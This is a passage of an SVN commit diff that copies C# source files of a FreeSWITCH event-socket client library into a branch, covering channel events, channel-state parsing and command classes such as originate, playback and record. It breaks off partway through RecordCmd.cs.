+    public class EventDtmf : ChannelEvent
+    {
+        private char _digit;
+        private int _duration;
+
+        public char Digit
+        {
+            get { return _digit; }
+            set { _digit = value; }
+        }
+
+        public int Duration
+        {
+            get { return _duration; }
+            set { _duration = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch(name)
+            {
+                case "dtmf-digit":
+                    _digit = value[0];
+                    break;
+                case "dtmf-duration":
+                    int.TryParse(value, out _duration);
+                    break;
+            }
+
+            return base.ParseCommand(name, value);
+        }
+
+        public override string ToString()
+        {
+            return "Dtmf(" + _digit + ")." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmfStatus.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmfStatus.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmfStatus.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmfStatus.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmfStatus.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+namespace FreeSwitch.EventSocket
+{
+    /// <summary>
+    /// Reports when DTMF digits have been pressed
+    /// </summary>
+    public class EventDtmfStatus : ChannelEvent
+    {
+        private int _count;
+
+        /// <summary>
+        /// Number of digits in the buffer.
+        /// </summary>
+        public int Count
+        {
+            get { return _count; }
+        }
+
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "dtmf-count":
+                    int.TryParse(value, out _count);
+                    break;
+            }
+
+            return base.ParseCommand(name, value);
+        }
+
+        public override string ToString()
+        {
+            return "DtmfStatus." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventSessionCrash.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventSessionCrash.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventSessionCrash.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventSessionCrash.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventSessionCrash.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket.ChannelEvents
+{
+    public class EventSessionCrash : ChannelEvent
+    {
+        public override string ToString()
+        {
+            return "SessionCrash." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelInfo.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelInfo.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelInfo.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelInfo.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,234 @@
+namespace FreeSwitch.EventSocket
+{
+    #region enum ChannelState
+    public enum ChannelState
+    {
+        New,           // Channel is newly created 
+        Init,          // Channel has been initilized
+        Routing,       // Channel is looking for a dialplan
+        SoftExecute,   // Channel is in a passive transmit state
+        Execute,       // Channel is executing it's dialplan 
+        ExchangeMedia, // Channel is exchanging media
+        Park,
+        ConsumeMedia,  // Channel is consuming media
+        Hibernate,     // Channel is in a sleep state
+        Reset,
+        Hangup,        // Channel is flagged for hangup and ready to end
+        Done,          // Channel is ready to be destroyed and out of the state machine
+        Unknown
+    }
+    #endregion
+
+    public class ChannelInfo
+    {
+        private ChannelState _state;
+        private int _stateNumber;
+        private string _profile = string.Empty;
+        private string _address = string.Empty;
+        private string _hostName = string.Empty;
+        private string _protocol = string.Empty;
+        private string _readCodecName;
+        private int _readCodecRate;
+        private string _writeCodecName;
+        private int _writeCodecRate;
+
+        /// <summary>
+        /// Coded used to read information from the channel.
+        /// Example: L16
+        /// </summary>
+        public string ReadCodecName
+        {
+            get { return _readCodecName; }
+            set { _readCodecName = value; }
+        }
+
+        /// <summary>
+        /// Bitrate of the read coded that is used.
+        /// Example: 8000
+        /// </summary>
+        public int ReadCodecRate
+        {
+            get { return _readCodecRate; }
+            set { _readCodecRate = value; }
+        }
+
+        /// <summary>
+        /// Codec used for writing to the channel.
+        /// Example: L16
+        /// </summary>
+        public string WriteCodecName
+        {
+            get { return _writeCodecName; }
+            set { _writeCodecName = value; }
+        }
+
+        /// <summary>
+        /// Bitrate of the codec.
+        /// Example: 8000
+        /// </summary>
+        public int WriteCodecRate
+        {
+            get { return _writeCodecRate; }
+            set { _writeCodecRate = value; }
+        }
+
+        /// <summary>
+        /// State that the channel is in. Check ChannelState enum for more information.
+        /// </summary>
+        public ChannelState State
+        {
+            get { return _state; }
+            set { _state = value; }
+        }
+
+        /// <summary>
+        /// Number of the state (from the enum in FreeSwitch)
+        /// </summary>
+        public int StateNumber
+        {
+            get { return _stateNumber; }
+            set { _stateNumber = value; }
+        }
+
+        /// <summary>
+        /// Name of the channel.
+        /// </summary>
+        /// <example>sofia/mydomain.com/1234@conference.freeswitch.org</example>
+        /// <seealso cref="ChannelInfo.Protocol"/>
+        /// <seealso cref="ProfileName"/>
+        /// <seealso cref="Address"/>
+        /// <seealso cref="HostName"/>
+        public string Name
+        {
+            get { return _protocol + "/" + _profile + "/" + _address + "@" + _hostName; }
+            set 
+            { 
+                string[] bits = value.Split('/');
+                if (bits.Length == 3)
+                {
+                    _protocol = bits[0];
+                    _profile = bits[1];
+                    string[] userParts = bits[2].Split('@');
+                    if (userParts.Length == 2)
+                    {
+                        _address = userParts[0];
+                        HostName = userParts[1];
+                    }
+                    else
+                        _address = bits[2];
+                }
+                
+            }
+        }
+
+        /// <summary>
+        /// ProfileName for the diaplan/sip.
+        /// </summary>
+        public string ProfileName
+        {
+            get { return _profile; }
+            set { _profile = value; }
+        }
+
+        /// <summary>
+        /// Extension/Username for the channel
+        /// </summary>
+        public string Address
+        {
+            get { return _address; }
+            set { _address = value; }
+        }
+
+        /// <summary>
+        /// Where the extension/user is calling from.
+        /// </summary>
+        public string HostName
+        {
+            get { return _hostName; }
+            set
+            {
+                if (value == null)
+                {
+                    _hostName = string.Empty;
+                    return;
+                }
+
+                int pos = value.IndexOf(':');
+                if (pos == -1)
+                    _hostName = value;
+                else
+                    _hostName = value.Substring(0, pos);
+            }
+        }
+
+        /// <summary>
+        /// Protocol used for communication.
+        /// "sofia" = sip.
+        /// </summary>
+        public string Protocol
+        {
+            get { return _protocol;  }
+        }
+
+        public bool Parse(string name, string value)
+        {
+            switch (name)
+            {
+                case "channel-state":
+                    _state = StateFromString(value);
+                    break;
+                case "channel-state-number":
+                    int.TryParse(value, out _stateNumber);
+                    break;
+                case "channel-name":
+                    Name = value;
+                    break;
+                case "channel-read-codec-name":
+                    _readCodecName = value;
+                    break;
+                case "channel-read-codec-rate":
+                    int.TryParse(value, out _readCodecRate);
+                    break;
+                case "channel-write-codec-name":
+                    _writeCodecName = value;
+                    break;
+                case "channel-write-codec-rate":
+                    int.TryParse(value, out _writeCodecRate);
+                    break;
+                default:
+                    return false;
+            }
+            return true;
+        }
+
+        public ChannelState StateFromString(string state)
+        {
+            switch (state)
+            {
+                case "CS_NEW": return ChannelState.New;
+                case "CS_INIT": return ChannelState.Init;
+                case "CS_ROUTING": return ChannelState.Routing;
+                case "CS_SOFT_EXECUTE": return ChannelState.SoftExecute;
+                case "CS_EXECUTE": return ChannelState.Execute;
+                case "CS_EXCHANGE_MEDIA": return ChannelState.ExchangeMedia;
+                case "CS_PARK": return ChannelState.Park;
+                case "CS_CONSUME_MEDIA": return ChannelState.ConsumeMedia;
+                case "CS_HIBERNATE": return ChannelState.Hibernate;
+                case "CS_HANGUP": return ChannelState.Hangup;
+                case "CS_DONE": return ChannelState.Done;
+                case "CS_RESET": return ChannelState.Reset;
+                default: return ChannelState.Unknown;
+            }
+        }
+
+        public string StateToString(ChannelState state)
+        {
+            return "Unknown";
+        }
+
+        public override string ToString()
+        {
+            return _address + "@" + _hostName + ": " + _state;
+        }
+    }
+}

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AnyCommand.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AnyCommand.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AnyCommand.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AnyCommand.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AnyCommand.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class AnyCommand : Api
+    {
+        private readonly string _name;
+        private readonly string _value;
+
+        public AnyCommand(string name, string arguments)
+        {
+            _name = name;
+            _value = arguments;
+        }
+
+        public override string Command
+        {
+            get { return _name; }
+        }
+
+        public override string Arguments
+        {
+            get { return _value; }
+        }
+
+        public override CommandReply CreateReply(string dataToParse)
+        {
+            if (dataToParse.Length > 0 && (dataToParse[0] == '+') || dataToParse == "OK")
+                return new CommandReply(true);
+            else
+            {
+                CommandReply reply = new CommandReply(false);
+                reply.ErrorMessage = dataToParse;
+                return reply;
+            }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Api.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Api.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Api.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Api.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Api.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public abstract class Api : CmdBase
+    {
+        public override string ToString()
+        {
+            return string.Format("api {0} {1}", Command, Arguments);
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AuthCommand.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AuthCommand.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AuthCommand.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AuthCommand.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/AuthCommand.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,34 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class AuthCommand : CmdBase
+    {
+        private readonly string _password;
+
+        public AuthCommand(string password)
+        {
+            _password = password;
+        }
+
+        public override string Command
+        {
+            get { return "auth"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _password; }
+        }
+
+        public override CommandReply CreateReply(string dataToParse)
+        {
+            if (dataToParse.Contains("+OK"))
+                return new CommandReply(true);
+            else
+            {
+                CommandReply reply = new CommandReply(false);
+                reply.ErrorMessage = dataToParse;
+                return reply;
+            }
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CmdBase.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CmdBase.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CmdBase.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CmdBase.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CmdBase.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    #region Delegates
+
+    public delegate void ReplyHandler(CmdBase command, CommandReply reply);
+
+    #endregion
+
+    public abstract class CmdBase
+    {
+        /// <summary>
+        /// Node that the reply handler is removed after it have been invoked.
+        /// This is to make sure that the command can be garbage collected when it's done.
+        /// </summary>
+        public event ReplyHandler ReplyReceived;
+
+        private object _contextData;
+
+        public abstract string Command
+        {
+            get;
+        }
+
+        public abstract string Arguments
+        {
+            get;
+        }
+
+        /// <summary>
+        /// You can attach something that you need to
+        /// identify the command.
+        /// </summary>
+        public object ContextData
+        {
+            get { return _contextData; }
+            set { _contextData = value; }
+        }
+
+        public virtual void HandleReply(CommandReply reply)
+        {
+            // a command is only invoked once.
+            if (ReplyReceived != null)
+            {
+                ReplyReceived(this, reply);
+                ReplyReceived = null;                
+            }
+        }
+
+        public virtual CommandReply CreateReply(string dataToParse)
+        {
+            if (string.IsNullOrEmpty(dataToParse.Trim()))
+                return new CommandReply(false);
+
+            CommandReply reply = new CommandReply(dataToParse.Trim()[0] == '+');
+            reply.ErrorMessage = dataToParse;
+            return reply;
+        }
+
+        public override string ToString()
+        {
+            return string.Format("{0} {1}", Command, Arguments);
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CommandReply.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CommandReply.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CommandReply.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CommandReply.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/CommandReply.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    /// <summary>
+    /// Baseclass for replies that commands get.
+    /// </summary>
+    public class CommandReply
+    {
+        private bool _success;
+        private string _ErrorMessage;
+
+        public CommandReply(bool success)
+        {
+            _success = success;
+        }
+
+        public bool Success
+        {
+            get { return _success; }
+        }
+
+        public string ErrorMessage
+        {
+            get { return _ErrorMessage; }
+            set { _ErrorMessage = value; }
+        }
+
+        public override string ToString()
+        {
+            if (_success)
+                return "Success";
+            else
+                return "Failed: " + _ErrorMessage;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/DeflectCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/DeflectCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/DeflectCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/DeflectCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/DeflectCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+using System;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class DeflectCmd : SendMsg
+    {
+        private readonly string _uri;
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="uuid">session id</param>
+        /// <param name="sipUri">complete sip uri, with or whithout "sip:"</param>
+        public DeflectCmd(string uuid, string sipUri)
+            : base(uuid, "execute")
+        {
+            if (string.IsNullOrEmpty(sipUri))
+                throw new ArgumentNullException("sipUri");
+
+            _uri = sipUri;
+        }
+
+        public DeflectCmd(string uuid) : base(uuid)
+        {
+        }
+
+        public override string Command
+        {
+            get { return "deflect"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _uri; }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ExecuteJavascript.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ExecuteJavascript.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ExecuteJavascript.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ExecuteJavascript.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ExecuteJavascript.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+using System.Collections.Generic;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class ExecuteJavascript : Api
+    {
+        private readonly string _scriptName;
+        private readonly IList<string> _arguments = new List<string>();
+
+        public ExecuteJavascript()
+        {
+            
+        }
+
+        public ExecuteJavascript(string scriptName)
+        {
+            _scriptName = scriptName;
+        }
+
+        /// <summary>
+        /// Arguments to javascript
+        /// </summary>
+        /// <seealso cref="Arguments"/>
+        public IList<string> Args
+        {
+            get { return _arguments; }
+        }
+
+        public override string Command
+        {
+            get { return "jsrun"; }
+        }
+
+        /// <summary>
+        /// Args to the CmdBase api
+        /// </summary>
+        /// <seealso cref="Args"/>
+        public override string Arguments
+        {
+            get { return _scriptName + " " + JoinArguments(); }
+        }
+
+        public override CommandReply CreateReply(string dataToParse)
+        {
+            if (dataToParse == "OK")
+                return new CommandReply(true);
+            else
+            {
+                CommandReply reply = new CommandReply(false);
+                reply.ErrorMessage = dataToParse;
+                return reply;
+            }
+        }
+
+        private string JoinArguments()
+        {
+            string args = string.Empty;
+            foreach (string arg in Args)
+                args += arg + " ";
+            return args;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/GetVariable.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/GetVariable.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/GetVariable.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/GetVariable.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/GetVariable.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class GetVariable : Api
+    {
+        private readonly string _channelId;
+        private readonly string _name;
+
+        public GetVariable()
+        {
+            
+        }
+
+        public GetVariable(string uuid, string name)
+        {
+            _channelId = uuid;
+            _name = name;
+        }
+
+        public override string Command
+        {
+            get { return "uuid_getvar"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _channelId + " " + _name; }
+        }
+
+        public override CommandReply CreateReply(string dataToParse)
+        {
+            if (dataToParse.Substring(0, 2) == "OK")
+            {
+                return new GetVariableReply(true, dataToParse.Substring(3));
+            }
+            else
+            {
+                GetVariableReply reply = new GetVariableReply(false, string.Empty);
+                reply.ErrorMessage = dataToParse;
+                return reply;
+            }
+        }
+    }
+
+
+    public class GetVariableReply : CommandReply
+    {
+        private string _value;
+
+        public GetVariableReply(bool success, string value)
+            : base(success)
+        {
+            _value = value;
+        }
+
+        public string SessionId
+        {
+            get { return _value; }
+        }
+
+        public string Value
+        {
+            get { return _value; }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/HoldCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/HoldCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/HoldCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/HoldCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/HoldCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class HoldCmd : Api
+    {
+        private readonly string _sessionId;
+        private readonly bool _activate;
+
+        public HoldCmd(string sessionId, bool activate)
+        {
+            _sessionId = sessionId;
+            _activate = activate;
+        }
+
+        public override string Command
+        {
+            get { return "uuid_hold"; }
+        }
+
+        public override string Arguments
+        {
+            get { return (_activate ? string.Empty : "off ") + _sessionId; }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Originate.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Originate.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Originate.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Originate.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Originate.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+using System.Collections.Generic;
+using FreeSwitch.EventSocket.General;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class OriginateReply : CommandReply
+    {
+        private readonly string _sessionId;
+
+        public OriginateReply(bool success, string sessionId) : base(success)
+        {
+            _sessionId = sessionId;
+        }
+
+        public string SessionId
+        {
+            get { return _sessionId; }
+        }
+    }
+
+    public class Originate : Api
+    {
+        private SofiaSipAddress _caller;
+        private Address _destination;
+        private readonly IList<CallVariable> _variables = new List<CallVariable>();
+        private string _callerIdName;
+        private string _callerIdNumber;
+        private bool _varsAdded;
+        private bool _autoAnswer;
+
+        public Originate()
+        {}
+
+        public Originate(SofiaSipAddress caller, Address destination)
+        {
+            _caller = caller;
+            _destination = destination;
+        }
+
+        public SofiaSipAddress Caller
+        {
+            get { return _caller; }
+            set { _caller = value; }
+        }
+
+        public Address Destination
+        {
+            get { return _destination; }
+            set { _destination = value; }
+        }
+
+        public IList<CallVariable> Variables
+        {
+            get { return _variables; }
+        }
+
+        public string CallerIdNumber
+        {
+            get { return _callerIdNumber; }
+            set { _callerIdNumber = value; }
+        }
+
+        public string CallerIdName
+        {
+            get { return _callerIdName; }
+            set { _callerIdName = value; }
+        }
+
+        public override string Command
+        {
+            get { return "originate"; }
+        }
+
+        public override string Arguments
+        {
+            get
+            {
+                if (!_varsAdded)
+                {
+                    string name = CallerIdName ?? _caller.Extension;
+                    _variables.Add(new CallVariable("origination_caller_id_name", "'" + name + "'"));
+                    if (!string.IsNullOrEmpty(_callerIdNumber))
+                        _variables.Add(new CallVariable("origination_caller_id_number", _callerIdNumber));
+                    _varsAdded = true;
+
+                    if (_autoAnswer)
+                    {
+                        /*_variables.Add(new CallVariable("sip_invite_params", "intercom=true"));*/
+                        _variables.Add(new CallVariable("sip_h_Call-Info", "answer-after=0"));
+                        _variables.Add(new CallVariable("sip_auto_answer", "true"));
+                    }
+                }
+
+                string variables = string.Empty;
+                foreach (CallVariable var in _variables)
+                        variables += var + ",";
+
+                if (variables.Length > 0)
+                    variables = "{" + variables.Remove(variables.Length - 1, 1) + "}";
+
+                return variables + Caller + " " + Destination;
+            }
+        }
+
+        public bool AutoAnswer
+        {
+            get { return _autoAnswer; }
+            set { _autoAnswer = value; }
+        }
+
+        public override CommandReply CreateReply(string dataToParse)
+        {
+            string[] nameValue = dataToParse.Split(' ');
+            if (nameValue[0].Length > 0 && nameValue[0][0] == '+')
+                return new OriginateReply(true, nameValue[1]);
+            
+            OriginateReply reply = new OriginateReply(false, string.Empty);
+            reply.ErrorMessage = nameValue.Length > 1 ? nameValue[1] : dataToParse;
+            return reply;
+        }
+
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ParkCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ParkCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ParkCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ParkCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/ParkCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class ParkCmd : Api
+    {
+        private readonly string _uuid;
+
+        public ParkCmd(string uuid)
+        {
+            _uuid = uuid;    
+        }
+
+        public override string Command
+        {
+            get { return "uuid_park"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _uuid; }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Playback.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Playback.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Playback.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Playback.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/Playback.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    /// <summary>
+    /// Play a file
+    /// </summary>
+    public class PlaybackCmd : SendMsg
+    {
+        private readonly string _fileName;
+        private readonly string _dtmfAbort = string.Empty;
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="uuid">channel identifier</param>
+        /// <param name="fileName">Path and filename to sound file</param>
+        /// <remarks>Path should be relative to FS path.</remarks>
+        /// <example>
+        /// mgr.SendApi(new PlaybackCmd(evt.UniqueId, "sounds\\sv\\welcome.wav", PlaybackCmd.All));
+        /// </example>
+        public PlaybackCmd(string uuid, string fileName) : base(uuid)
+        {
+            _fileName = fileName;
+        }
+
+        public PlaybackCmd(string uuid, string fileName, string dtmfAbort) : base(uuid)
+        {
+            _fileName = fileName;
+            _dtmfAbort = dtmfAbort;
+        }
+
+        public override string Command
+        {
+            get { return "playback"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _fileName; }
+        }
+
+        public string DtmfAbort
+        {
+            get { return _dtmfAbort; }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/RecordCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/RecordCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/RecordCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/RecordCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/RecordCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+using System;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class RecordCmd : Api
+    {
+        //<uuid> [start|stop] <path> [<limit>]
+        private readonly string _uuid;
+        private readonly bool _start;
+        private readonly string _path;
+        private readonly int _limit;
+
+        /// <param name="uuid">channel id</param>
+        /// <param name="path">FS relative path to sound file</param>
+        public RecordCmd(string uuid, string path)
+        {
+            if (string.IsNullOrEmpty(uuid))
+                throw new ArgumentException("uuid");
+            if (string.IsNullOrEmpty(path))
+                throw new ArgumentException("path");
+
+            _uuid = uuid;
+            _path = path;
+        }
+
+        /// <param name="uuid">channel id</param>
+        /// <param name="path">FS relative path to sound file</param>
+        /// <param name="limit">number of seconds that maximum can be recorded.</param>
+        public RecordCmd(string uuid, string path, int limit)
+        {
+            if (string.IsNullOrEmpty(uuid))
+                throw new ArgumentException("uuid");
+            if (string.IsNullOrEmpty(path))
+                throw new ArgumentException("path");
+
